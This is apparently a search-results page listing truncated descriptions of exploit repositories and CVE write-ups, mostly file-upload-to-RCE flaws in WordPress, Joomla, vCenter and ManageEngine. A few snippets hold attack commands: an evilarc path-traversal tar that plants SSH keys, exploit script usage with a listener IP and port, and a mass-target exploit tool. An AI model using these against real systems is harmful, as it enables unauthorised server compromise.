85696 matches found
CVE-2026-2942
ProSolution WP Client — ماسح رفع الملفات غير الموثَّق وتنفيذ الأوامر عن بعد RCE الإضافة: prosolution-wp-client الإصدار المتأثر: نوع الثغرة: رفع ملف تعسفي غير موثَّق → تنفيذ أوامر عن بُعد مستوى الخطورة: 🔴 حرج CVSS 9.8 المتطلبات: صفحة عامة تحتوي على shortcode prosolfrontend 📌 حول الثغرة إجراء AJAX...
CVE-2026-48907
CVE-2026-48907 CVE-2026-48907 est une vulnérabilité critique de contrôle d'accès inadéquat dans l'extension JCE Editor pour Joomla. Elle permet à des attaquants non authentifiés de créer de nouveaux profils d'éditeur, ce qui peut finalement conduire à un téléchargement arbitraire de fichiers PHP ...
CVE-2026-0740-mass
CVE-2026-0740 — Mass-Target Exploit Engine Author: 0xNuts Contributor: Cursor Repository: https://github.com/ExDev994/CVE-2026-0740-mass PoC pour CVE-2026-0740: Ninja Forms File Uploads = 3.3.26 — Téléversement arbitraire de fichiers non authentifié pouvant mener à une RCE. La vulnérabilité...
CVE-2021-21972
CVE-2021-21972 CVE-2021-21972 تم اختباره ضد VMware VCSA 6.7 إنشاء زوج مفاتيح ssh ssh-keygen -t rsa -f vcsa.key -N '' إنشاء tarbal مع ../../../../../home/vsphere-ui/.ssh/authorizedkeys python2 evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f evil.tar authorizedkeys mv evil.tar evil.ova رفع...
CVE-2026-5718
CVE-2026-5718 CVE-2026-5718 : Téléversement de fichier non authentifié menant à une RCE dans le plugin DnD Upload CF7 CVE-2026-5718 — Scanner RCE de téléversement de fichiers DnD CF7 Plugin : Drag and Drop Multiple File Upload for Contact Form 7 Plugin Slug :...
CVE-2026-48939
CVE-2026-48939 — استغلال RCE في iCagenda لمنصة Joomla رفع ملفات عشوائي قبل المصادقة → تنفيذ كود PHP نظرة عامة CVE-2026-48939 هي ثغرة حرجة بتقييم CVSS 10.0 في إضافة تقويم الأحداث iCagenda لمنصة Joomla. تفرض ميزة إرفاق الملفات في نموذج تسجيل الأحداث بالواجهة الأمامية ضوابط الوصول على مستوى طبقة الع...
CVE-2020-14008
CVE-2020-14008 - تنفيذ الأوامر عن بعد في ManageEngine Applications Manager تنفيذ الأوامر عن بعد بعد المصادقة عبر تحميل ملف تعسفي في Zoho ManageEngine Applications Manager الإصدارات أمثلة أساسي python3 cve-2020-14008.py https://192.168.100.2:8443 admin admin 192.168.100.3 1337 تدفق الهجوم 1. تسجيل...
CVE-2025-7441
CVE-2025-7441 StoryChief 1.0.42 - رفع ملف تعسفي الثغرة CVE-2025-7441 - ملخص فني المكون المتأثر: إضافة StoryChief لووردبريس نوع الثغرة: رفع ملف تعسفي بدون مصادقة نقطة النهاية المعرضة: /wp-json/storychief/webhook السبب الجذري: تقبل الإضافة حمولة JSON webhook تحتوي على رابط تحت...
CVE-2026-4883
CVE-2026-4883: Piotnet Forms Pro = 2.1.40 - رفع ملف تعسفي غير مصادق → RCE ينشأ الثغر من التحقق غير الكافي من نوع الملف في دالة piotnetformsajaxformbuilder. يستخدم الإضافة قائمة سوداء غير مكتملة للملحقات تحظر فقط php، phpt، php5، php7، و exe مع السماح بدائل خطيرة مثل .phtml أو .phar. تفاصيل الثغرة...
CVE-2023-2825-PoC
CVE-2023-2825-PoC إثبات المفهوم لـ CVE-2023-2825، ثغرة قراءة ملفات تعسفية في GitLab CE/EE 16.0.0. يقوم السكريبت بتسجيل الدخول باستخدام حساب GitLab صالح، وإنشاء هيكل المجموعات العامة المتداخلة المطلوب، وإنشاء مشروع عام، ورفع ملف مرفق، ثم استخدام سلوك اجتياز مسار الرفع الضعيف لقراءة ملف مستهدف من...
CVE-2025-69212-PoC
CVE-2025-69212-PoC https://github.com/advisories/GHSA-25fp-8w8p-mx36 يحتوي OpenSTAManager الإصدارات الاستخدام CVE-2025-69212.py -h -u URL -C COOKIE options: -h, --help show this help message and exit -u, --url URL target url, eg http://127.0.0.1 -C, --cookie COOKIE cookie value...
CVE-2026-39770
Unauthenticated Arbitrary File Upload in Doctreat = 1.7.0 versions...
CVE-2026-39759
Employer / Sales Representative Arbitrary File Upload in Workreap Core = 3.4.5 versions...
CVE-2026-39755
Subscriber Arbitrary File Upload in WP Duplicate = 1.1.11 versions...
CVE-2026-39757
Subscriber Arbitrary File Upload in Taskbot = 6.6 versions...
CVE-2026-32579
Unauthenticated Arbitrary File Upload in Kognetiks Chatbot for WordPress = 2.4.9 versions...
CVE-2025-39401
CVE-2025-39401 إضافة WPAMS لووردبريس إضافة WPAMS لووردبريس CVE: CVE-2025-39401 النتيجة الأساسية: 10.0 حرجة ثغرة رفع غير مقيد لملف ذي نوع خطير في mojoomla WPAMS تتيح للمهاجمين رفع شيل ويب إلى الخادم، مما يؤدي إلى اختراق كامل. يؤثر هذا في إصدارات WPAMS: من n/a حتى 44.0 17-08-2023. 🚀 نظرة عامة على...
CVE-2026-14894
CVE-2026-14894 — رفع ملف غير موثّق وتنفيذ أوامر في Super Forms تسرب Nonce → رفع datauristring → تنفيذ الأوامر نظرة عامة CVE-2026-14894 هي ثغرة خطيرة CVSS 9.8 لرفع الملفات بشكل غير موثّق في إضافة Super Forms – Drag & Drop Form Builder لووردبريس من WebRehab للإصدارات ≤ 6.3.313. مُعالج supersubmitfo...
CVE-2026-48907
CVE-2026-48907 - ثغرة تنفيذ الأوامر عن بُعد غير المُوثَّقة في Joomla! JCE إضافة JCE لـ Joomla! هذه الأداة لأغراض تعليمية واختبارية مُصرَّح بها فقط. استخدمها فقط على أنظمة تملكها أو لديك إذن صريح لاختبارها المؤلف غير مسؤول عن أي إساءة استخدام أو أنشطة غير قانونية احصل دائمًا على التفويض المناسب قب...
